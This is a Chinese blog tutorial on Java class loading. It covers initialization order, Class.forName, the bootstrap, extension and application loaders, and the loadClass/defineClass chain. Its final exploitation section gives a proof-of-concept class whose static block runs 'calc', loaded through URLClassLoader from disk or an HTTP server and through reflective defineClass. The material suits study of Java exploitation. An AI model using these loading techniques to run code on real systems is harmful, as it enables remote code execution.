Java类加载

首先看一下在类初始化的时候会调用哪些代码 Person.java

package com.LoaderTest;

public class Person {
    public String name;
    public int age;
    public static int id;
    static {
        System.out.println("静态代码块");
    }
    public static void staticAction(){
        System.out.println("静态方法");
    }

    {
        System.out.println("构造代码块");
    }

    public Person(){
        System.out.println("无参Person");
    }

    public Person(String name,int age){
        System.out.println("有参Person");
        this.name = name;
        this.age = age;
    }

    public String toString(){
        return "Person{"+
                "name='" + name +"'" +
                "age='" + age +"'" +"}";
    }
}

LoaderClassTest.java

package com.LoaderTest;

public class LoaderClassTest {
    public static void main(String[] args)throws Exception{

//        new Person("a",22);
        Person.staticAction();
    }
}

当new一个无参构造方法时

new Person();

调用了静态代码块 构造代码块 无参方法 file

当new一个有参构造方法时

new Person("a",22);

同样是调用了静态代码块 构造代码块 有参方法 file

调用静态方法时

Person.staticAction();

调用了静态代码块 静态方法 file

给id赋值

Person.id=1;

调用了静态代码块 file

可以得出 在类进行初始化的时候会调用静态代码块 初始化:静态代码块 实例化:构造代码块,构造函数

通过class加载的时候不会初始化

Class c = Person.class;

没有调用静态代码块

通过Class.fromName(“Person”);加载 调用了静态代码块 file Class.fromName是可以选择初始化或者不初始化的 ClassLoader.getSystemClassLoader()是获取当前系统的一个ClassLoader sun.misc.Launcher$AppClassLoader@18b4aac2

ClassLoader cl = ClassLoader.getSystemClassLoader();
Class.forName("com.LoaderTest.Person",false,cl);

file

Java语言系统自带有三个类加载器:

  • Bootstrap ClassLoader 最顶层的加载类,主要加载核心类库,%JRE_HOME%\lib下的rt.jar、resources.jar、charsets.jar和class等。另外需要注意的是可以通过启动jvm时指定-Xbootclasspath和路径来改变Bootstrap ClassLoader的加载目录。比如java -Xbootclasspath/a:path被指定的文件追加到默认的bootstrap路径中。我们可以打开我的电脑,在上面的目录下查看,看看这些jar包是不是存在于这个目录。
  • Extention ClassLoader 扩展的类加载器,加载目录%JRE_HOME%\lib\ext目录下的jar包和class文件。还可以加载-D java.ext.dirs选项指定的目录。
  • Appclass Loader也称为SystemAppClass 加载当前应用的classpath的所有类。

通过ClassLoader加载类

ClassLoader cl = ClassLoader.getSystemClassLoader();
Class<?> a = cl.loadClass("com.LoaderTest.Person");
a.newInstance();

file ClassLoader.loadClass是不进行初始化的 跟进loadClass查看底层原理 实现任意类的加载 调用关系 loadClass->findClass(重写的方法)->defineClass(从字节码加载类) 涉及到类的继承关系 ClassLoader->SecureClassLoader->URLClassLoader->AppClassLoader

漏洞利用 可以通过URLClassLoader加载类 创建一个test类(直接在src中创建 不要在包下边) 在静态代码块中弹出计算器

import java.io.IOException;

public class Test {
    static {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

编译之后生成的class文件 放到桌面 file 然后使用URLClassLoader加载这个类

URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("file:///C:\\Users\\25004\\Desktop\\test\\")});
Class<?> test = urlClassLoader.loadClass("Test");
test.newInstance();

file

还可以通过http来加载恶意嘞 在恶意类的文件夹中起一个http服务 file

URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://localhost:8000/")});
Class<?> test = urlClassLoader.loadClass("Test");
test.newInstance();

同样也会执行

URLClassLoader加载任意类:file/http/jar

通过defineClass调用任意类

package com.LoaderTest;

import java.io.File;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.file.Files;
import java.nio.file.Paths;

public class LoaderClassTest {
    public static void main(String[] args)throws Exception{

        ClassLoader cl = ClassLoader.getSystemClassLoader();

        Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClassMethod.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("C:\\Users\\25004\\Desktop\\test\\Test.class"));
        Class c = (Class) defineClassMethod.invoke(cl, "Test", code, 0, code.length);
        c.newInstance();
    }
}

code是字节码 此方法在不出网的情况下构造好字节码 可以直接调用 弹出计算器


Java类加载
http://example.com/2021/09/14/OldBlog/java类加载/
作者
Autumn
发布于
2021年9月14日
许可协议